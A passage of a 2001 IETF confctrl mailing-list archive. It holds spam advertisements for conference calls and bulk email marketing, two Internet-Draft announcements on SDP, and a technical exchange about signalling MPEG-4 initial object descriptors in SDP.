            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<BR><BR>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:remmovv02=40yahoo.com?=
subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.
</FONT></TD></TR></TBODY></TABLE></P></CENTER></BODY></HTML>

From confctrl-owner  Wed Nov 28 02:17:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA18008
	for confctrl-outgoing; Wed, 28 Nov 2001 02:17:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA17996
	for <confctrl@zephyr.isi.edu>; Wed, 28 Nov 2001 02:17:20 -0800 (PST)
Received: from smtp11.singnet.com.sg (smtp11.singnet.com.sg [165.21.6.31])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fASAHwg28026;
	Wed, 28 Nov 2001 02:17:59 -0800 (PST)
Received: from repia.com (ad202.166.51.108.magix.com.sg [202.166.51.108])
	by smtp11.singnet.com.sg (8.11.6/8.11.6) with SMTP id fASAGQ212306;
	Wed, 28 Nov 2001 18:16:26 +0800 (SGT)
Date: Wed, 28 Nov 2001 18:16:26 +0800 (SGT)
From: "Conference.C@repia.com" <Conference.C@repia.com>
To: "9861@hotbot.com" <9861@hotbot.com>
Message-ID: <1006923584.0225014210@repia.com>
Subject: Free conference calls!
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inboxx9_9=40yahoo.com?subject=3DConference_Inq=
uiry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<BR><BR>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:remmovv_98=40yahoo.com=
?subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.
</FONT></TD></TR></TBODY></TABLE></P></CENTER></BODY></HTML>

From confctrl-owner  Wed Nov 28 09:04:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA04359
	for confctrl-outgoing; Wed, 28 Nov 2001 09:04:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA04354
	for <confctrl@zephyr.isi.edu>; Wed, 28 Nov 2001 09:04:06 -0800 (PST)
Received: from mail.chaffoteaux.pt ([194.65.67.60])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fASH0Eg26176;
	Wed, 28 Nov 2001 09:00:24 -0800 (PST)
Received: from SMTP agent by mail gateway 
 Wed, 28 Nov 2001 17:18:18 -0000
Received: from mail.vschem.com ([192.168.65.254])
          by mail.chaffoteaux.pt (Lotus Domino Release 5.0.7)
          with SMTP id 2001112812474653:633 ;
          Wed, 28 Nov 2001 12:47:46 +0000 
Received: from SMTP agent by mail gateway 
 Wed, 28 Nov 2001 13:03:35 -0000
From: "r.Sanders@vschem.com" <r.Sanders@vschem.com>
To: "6625@aol.com" <6625@aol.com>
Message-ID: <1006932528.0595336341@mail.vschem.com>
Subject: Opt-in Email Marketing
MIME-Version: 1.0
X-MIMETrack: Itemize by SMTP Server on SND_MF02/Clientes(Release 5.0.7 |March 21, 2001) at
 11/28/2001 12:47:49 PM,
	Serialize by Router on SND_MF02/Clientes(Release 5.0.7 |March 21, 2001) at
 11/28/2001 05:02:26 PM,
	Serialize complete at 11/28/2001 05:02:26 PM
Date: Wed, 28 Nov 2001 12:47:49 +0000
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4.0 Transitional//EN=22><HTML><=
HEAD><TITLE>Online Marketing Strategies</TITLE><META http-equiv=3DContent=
-Type content=3D=22text/html; charset=3Dwindows-1252=22><META content=3D=22MSH=
TML 5.50.4134.100=22 name=3DGENERATOR><META content=3DFrontPage.Editor.Docu=
ment name=3DProgId></HEAD><BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23=
ffffff leftMargin=3D0><DIV align=3Dcenter><CENTER><TABLE height=3D346 cellS=
pacing=3D0 cellPadding=3D0 width=3D500 border=3D0><TBODY><TR><TD width=3D=2210=
0%=22 height=3D379><P align=3Dcenter><FONT face=3D=22Georgia, Times New Roman=
, Times, serif=22 color=3D=23083194 size=3D7><B><FONT color=3D=2308296b>Direct=
 Marketing</FONT></B></FONT></P><P align=3Dcenter><FONT face=3D=22Arial, He=
lvetica, sans-serif=22 size=3D4><B><FONT color=3D=23999999>The most effectiv=
e way to reach your client</FONT> </B></FONT><HR><FONT color=3D=23ff0000><=
B><FONT face=3D=22Arial, Helvetica, sans-serif=22 color=3D=2308296b size=3D3>T=
argeted E-mail Marketing Is A Proven Method For Return Sales</FONT></B><=
/FONT><FONT color=3D=23000000><BR><FONT face=3D=22Arial, Helvetica, sans-ser=
if=22 size=3D2>With a database of over 150 million targeted addresses, we =
can reach your potential clients anywhere in the world.  Our staff creat=
es interactive ad campaigns, specifically targeted to your client base, =
and designed to produce staggering responses for your business.  A stead=
y lead source can ensure that your sales team will consistently close de=
als.</FONT></FONT><P><FONT face=3D=22Arial, Helvetica, sans-serif=22 size=3D=
3><B><FONT color=3D=2308296b>The Greatest Return On Your Marketing Dollar<=
/FONT></B><FONT color=3D=23000000><BR><FONT size=3D2>Targeted e-mail market=
ing is the most effective way to reach global and local markets with a s=
mall expense compared to that of conventional marketing.  Quality work a=
nd a dedicated professional staff will ensure your ad campaign to be suc=
cessful.  Put our educated team of marketers to work for you.</B></FONT>=
</FONT><HR><P align=3Dcenter><FONT face=3D=22Arial, Helvetica, sans-serif=22=
 color=3D=23ff0000 size=3D4><B><BLINK></BLINK></B></FONT><FONT face=3D=22Aria=
l, Helvetica, sans-serif=22 color=3D=23083194 size=3D3><B><FONT color=3D=23999=
999 size=3D5>Free Consultation With<BR>Marketing Specialist=21</FONT></B><=
/FONT><FONT color=3D=23999999><BR><FONT size=3D2>(Available 9am - 9pm PST)<=
/FONT></FONT><P align=3Dcenter><B><FONT face=3D=22Arial, Helvetica, sans-se=
rif=22 color=3D=2308296b>If your serious about your business, fill out the =
form below to learn more on our e-mail marketing campaigns.</FONT><FONT =
face=3D=22Georgia, Times New Roman, Times, serif=22 color=3D=23ffff10> </FONT=
></B><P align=3Dcenter><FONT face=3D=22Arial Helvetica, sans-serif=22 color=3D=
=2308296b size=3D1>*Required Input Field</FONT><FONT color=3D=23808000><BR><=
/FONT></P></TD></TR></TBODY></TABLE></CENTER></DIV><TABLE cellSpacing=3D0=
 borderColorDark=3D=23333300 cellPadding=3D3 width=3D600 borderColorLight=3D=23=
ffffcc><TBODY><TR><TD><FORM action=3D=22mailto:inbox72160=40excite.com?subj=
ect=3DEmarketing_Inquiry=22 method=3Dpost encType=3Dtext/plain><TABLE width=3D=
=22100%=22><TBODY><TR><TD width=3D=2249%=22><DIV align=3Dright><FONT face=3D=22A=
rial, Helvetica, sans-serif=22 color=3D=23000000 size=3D2>Name</FONT><FONT f=
ace=3D=22Arial Helvetica, sans-serif=22 color=3D=2308296b size=3D1>*</FONT></D=
IV></TD><TD width=3D=2251%=22><FONT color=3D=23000000><INPUT name=3DNAME> </FO=
NT></TD></TR><TR><TD width=3D=2249%=22><DIV align=3Dright><FONT face=3D=22Aria=
l, Helvetica, sans-serif=22 color=3D=23000000 size=3D2>Web Address</FONT><FO=
NT face=3D=22Arial Helvetica, sans-serif=22 color=3D=2308296b size=3D1>*</FONT=
></DIV></TD><TD width=3D=2251%=22><FONT color=3D=23000000><INPUT value=3Dhttp:=
// name=3DURL></FONT></TD></TR><TR><TD width=3D=2249%=22><DIV align=3Dright><=
FONT face=3D=22Arial, Helvetica, sans-serif=22color=3D=23000000 size=3D2>Compa=
ny Name</FONT></DIV></TD><TD width=3D=2251%=22><FONT color=3D=23000000><INPUT=
 name=3DInput coname=3D=22COMPANY_NAME=22> </FONT></TD></TR><TR><TD width=3D=22=
49%=22><DIV align=3Dright><FONT face=3D=22Arial, Helvetica, sans-serif=22 col=
or=3D=23000000 size=3D2>State</FONT></DIV></TD><TD width=3D=2251%=22><FONT col=
or=3D=23000000><INPUT size=3D2 name=3DSTATE></FONT></TD></TR><TR><TD width=3D=
=2249%=22><DIV align=3Dright><FONT face=3D=22Arial, Helvetica, sans-serif=22 c=
olor=3D=23000000 size=3D2>Business Phone</FONT><FONT face=3D=22Arial Helvetic=
a, sans-serif=22 color=3D=2308296b size=3D1>*</FONT></DIV></TD><TD width=3D=22=
51%=22><FONT color=3D=23000000><INPUT name=3DBUS_PHONE></FONT></TD></TR><TR>=
<TD width=3D=2249%=22><DIV align=3Dright><FONT face=3D=22Arial, Helvetica, san=
s-serif=22 color=3D=23000000 size=3D2>Home Phone</FONT></DIV></TD><TD width=3D=
=2251%=22><FONT color=3D=23000000><INPUT name=3DHOME_PHONE></FONT></TD></TR><=
TR><TD width=3D=2249%=22><DIV align=3Dright><FONT face=3D=22Arial, Helvetica, =
sans-serif=22color=3D=23000000 size=3D2>E-mail</FONT><FONT face=3D=22Arial Hel=
vetica, sans-serif=22 color=3D=2308296b size=3D1>*</FONT></DIV></TD><TD widt=
h=3D=2251%=22><FONT color=3D=23000000><INPUT name=3DEMAIL> </FONT></TD></TR><T=
R><TD width=3D=2249%=22><DIV align=3Dright><FONT face=3D=22Arial, Helvetica, s=
ans-serif=22 color=3D=23000000 size=3D2>Type of Business</FONT></DIV></TD><T=
D width=3D=2251%=22><FONT color=3D=23000000><INPUT name=3DTYPE_OF_BUSINESS></F=
ONT></TD></TR></TBODY></TABLE><DIV align=3Dcenter><BR>&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT type=3Dsubmit value=3D=22S=
ubmit Information=22 name=3Dsubmit></DIV></FORM></TD></TR></TBODY></TABLE>=
<P align=3Dcenter><FONT face=3D=22Arial, Helvetica, sans-serif=22 size=3D2><B=
><FONT color=3D=2308296b>Thank you for your inquiry. One of our consultant=
s will contact you soon.</FONT></B></FONT></P><P align=3Dcenter>&nbsp;</P=
><P align=3Dcenter><FONT face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23=
000000 size=3D1>If you received this e-mail in error or would like to be =
removed, <A href=3D=22mailto:rem0ve627=40excite.com?subject=3DRemoveName_Web=
Placement=22><FONT color=3D=2308296b>Please Click Here</FONT></A>.</FONT></=
P></BODY></HTML>


From confctrl-owner  Thu Nov 29 18:17:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA25233
	for confctrl-outgoing; Thu, 29 Nov 2001 18:17:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA25228
	for <confctrl@zephyr.isi.edu>; Thu, 29 Nov 2001 18:17:43 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAU2INg02060
	for <confctrl@isi.edu>; Thu, 29 Nov 2001 18:18:23 -0800 (PST)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id SAA21988;
	Thu, 29 Nov 2001 18:18:27 -0800 (PST)
Message-Id: <5.1.0.14.2.20011129164123.01e6aae0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 29 Nov 2001 17:07:06 -0800
To: confctrl@ISI.EDU, singer@apple.com, young@techway.co.kr
From: Rob Lanphier <robla@real.com>
Subject: MPEG-4 over IP draft: a=mpeg-iod
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

A (very belated) comment about singer-mpeg4-ip-03.txt:
http://www.ietf.org/internet-drafts/draft-singer-mpeg4-ip-03.txt

In Section 3, there's discussion about a new line in the SDP when used with 
RTSP/RTP/SDP/MPEG-4 which gives metadata about the IOD (MPEG-4 Initial 
Object Descriptor).

Based on my rudimentary understanding of this, the idea is that an client 
implementation should handle the following line as part of an RTSP DESCRIBE 
response:

a=mpeg4-iod [<location>]

...where <location> is either a URL to a remote source, or (more commonly) 
a data URL.

Based on the presense of the IOD line, the client should *not* issue 
subsequent SETUP and PLAY methods for the sources in that stream.  Rather, 
the IOD should then dictate when the SETUP and PLAY requests occur for the 
discrete streams (if ever).

It seems like this should be a slightly more generic mechanism to trigger 
this behavior.  The media type is already included one way or another in 
the <location> (either by means of the data URL syntax, or by the MIME type 
in the http response, or other scheme specific typing mechanism).

I'm struggling for what the right name is, so I'll use "root" as a working 
name (as in "root" of a tree):
a=root [<location>]

For example, one could do the following:
a=root data:application/mpeg4-iod;base64,3wCcDkiLc7C0qwyGHhSWp....

...or one could also do the following:
a=root data:application/mpeg4-iod-xmt;base64,3wCcDkiLc7C0qwyGHhSWp....

...or if one was feeling a little crazy:
a=root data:application/smil;base64,3wCcDkiLc7C0qwyGHhSWp....

At any rate, any client that supports "root" would be alerted to the fact 
that it needs support for application/whatever in order to stream the file 
properly, regardless of whether it supports mpeg4-iod, mpeg4-iod-xmt, or 
smil as the "whatever" part.

Thoughts?

Rob


From confctrl-owner  Fri Nov 30 03:01:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA14150
	for confctrl-outgoing; Fri, 30 Nov 2001 03:01:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA14145
	for <confctrl@zephyr.isi.edu>; Fri, 30 Nov 2001 03:01:24 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAUB24g23861
	for <confctrl@isi.edu>; Fri, 30 Nov 2001 03:02:05 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02782;
	Fri, 30 Nov 2001 06:01:59 -0500 (EST)
Message-Id: <200111301101.GAA02782@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-04.txt
Date: Fri, 30 Nov 2001 06:01:58 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-04.txt
	Pages		: 45
	Date		: 29-Nov-01
	
This memo defines the Session Description Protocol (SDP). SDP
is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-04.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011129144616.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-new-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-new-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011129144616.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Nov 30 03:01:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA14164
	for confctrl-outgoing; Fri, 30 Nov 2001 03:01:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA14159
	for <confctrl@zephyr.isi.edu>; Fri, 30 Nov 2001 03:01:33 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAUB2Dg24153
	for <confctrl@isi.edu>; Fri, 30 Nov 2001 03:02:14 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02796;
	Fri, 30 Nov 2001 06:02:08 -0500 (EST)
Message-Id: <200111301102.GAA02796@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdpng-03.txt
Date: Fri, 30 Nov 2001 06:02:07 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Description and Capability Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann
	Filename	: draft-ietf-mmusic-sdpng-03.txt
	Pages		: 61
	Date		: 29-Nov-01
	
This document defines a language for describing multimedia sessions
with respect to configuration parameters and capabilities of end
systems. 
This document is a product of the Multiparty Multimedia Session
Control (MMUSIC) working group of the Internet Engineering Task
Force. Comments are solicited and should be addressed to the working
group's mailing list at confctrl@isi.edu and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdpng-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdpng-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdpng-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011129144629.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdpng-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdpng-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011129144629.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Nov 30 16:05:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA12627
	for confctrl-outgoing; Fri, 30 Nov 2001 16:05:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA12622
	for <confctrl@zephyr.isi.edu>; Fri, 30 Nov 2001 16:05:19 -0800 (PST)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB1060g25449
	for <confctrl@isi.edu>; Fri, 30 Nov 2001 16:06:00 -0800 (PST)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out2.apple.com (8.11.3/8.11.3) with ESMTP id fB105xX06440
	for <confctrl@isi.edu>; Fri, 30 Nov 2001 16:05:59 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T578a69fdcd118164e1528@mailgate2.apple.com>;
 Fri, 30 Nov 2001 16:05:56 -0800
Received: from [17.219.158.123] (singda.apple.com [17.202.35.52])
	by scv3.apple.com (8.11.3/8.11.3) with ESMTP id fB105tD21793;
	Fri, 30 Nov 2001 16:05:55 -0800 (PST)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com (Unverified)
Message-Id: <p05010429b82dce77442e@[17.219.158.123]>
In-Reply-To: <5.1.0.14.2.20011129164123.01e6aae0@goobox.prognet.com>
References: <5.1.0.14.2.20011129164123.01e6aae0@goobox.prognet.com>
Date: Fri, 30 Nov 2001 16:05:51 -0800
To: Rob Lanphier <robla@real.com>
From: Dave Singer <singer@apple.com>
Subject: Re: MPEG-4 over IP draft: a=mpeg-iod
Cc: confctrl@ISI.EDU, young@techway.co.kr
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 5:07 PM -0800 11/29/01, Rob Lanphier wrote:
>Hi all,
>
>A (very belated) comment about singer-mpeg4-ip-03.txt:
>http://www.ietf.org/internet-drafts/draft-singer-mpeg4-ip-03.txt

whoa yes!  That's now owned by someone else and is an MPEG document.

I think you may be missing something  here.  The 'normal' way to use 
this is to supply the media streams as part of the RTSP session;  you 
still need the IOD to get the profiles/levels values, and maybe the 
Object Descriptors for the OD and BIFS streams.  As a result, we 
envisage two cases here:
-- no URL -- you do another Describe with a different accept
-- URL -- supplies the IOD.

Now, as you say, the IOD may say that the OD and/or BIFS streams are 
remote, and not in the initial RTSP session, but I'd expect that to 
be an unusual case.

>Based on the presense of the IOD line, the client should *not* issue 
